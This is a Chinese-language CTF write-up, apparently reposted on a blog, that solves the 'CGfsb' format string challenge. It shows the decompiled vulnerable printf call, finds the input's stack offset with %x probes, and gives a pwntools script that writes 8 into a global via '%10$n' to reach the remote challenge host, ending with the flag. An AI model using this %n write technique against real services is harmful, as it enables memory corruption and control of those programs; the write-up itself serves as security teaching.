題目來源:
CGCTF
題目描述:
菜雞面對著pringf發愁,他不知道prinf除了輸出還有什么作用
題目場景:
111.200.241.244:40185
題目附件:
e41a0f684d0e497f87bb309f91737e4d
題目思路:
格式化字串漏洞視頻講解,printf格式化字串漏洞原理與利用
構造payload,在格式化字串中包含想要寫入的地址,此時該地址會隨格式化字串放在堆疊上,然后用格式化字串的%K$n來實作改寫功能,
解題程序:
拿到程式后,我們首先checksec一下,發現是32位,保護開啟了CANNARY和NX,載入IDA,找到main函式,F5反編譯得到偽C代碼:
int __cdecl main(int argc, const char **argv, const char **envp){
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]
v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 ){
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else{
puts("Thank you!");
}
return 0;
}
當pwnme=8的時候執行system函式,顯示出flag,一般printf的引數是:格式化字串 + 引數1 + 引數2 …,如果后面的引數數量對應不上格式化字串中需要的引數,會自動從堆疊頂獲取對應的引數,這樣我們就可以根據輸入的字符離堆疊頂的偏移再次找到它,最后利用%k$n將其決議為地址,然后改變地址上存盤的資料,達到記憶體覆寫,

輸入“AAAAAAA%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x” 之后,因為后面沒有對應%x的引數,所以直接從堆疊頂開始獲取引數,到第10個%x獲取到41414141,查詢ASCII表發現是輸入的資訊的開頭的AAAA
或者通過gdb除錯,利用printf的漏洞,來確定輸入的內容是格式化字串第幾個引數

找到pwnme的位置,經過32位編碼轉換,是4位
.bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r
接下來利用%k$n寫入,在格式化字串中,"%s"、"%d" 等型別的符號叫符號說明,這里有幾個冷門的符號說明:

解釋一下%10$n,找到格式化字串后的第10個引數,將引數決議為地址,將已經輸出的位元組長度寫入此地址,腳本:
from pwn import *
#io = process("./CGfsb")
io = remote('111.200.241.244',40185)
pwnme_addr = 0x804A068
payload = p32(pwnme_addr) + 'A' * 4 + '%10$n';#4位地址+4位字符輸出組成8位,利用%k$n賦到pwnme地址上,使pwnme=8
io.sendlineafter("please tell me your name:\n","aaaa")
io.sendlineafter("leave your message please:\n",payload)
io.interactive()
cyberpeace{3f49e5587bdf9b3537041be32468aa17}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/267478.html
標籤:其他
上一篇:21/3/6 hashmap
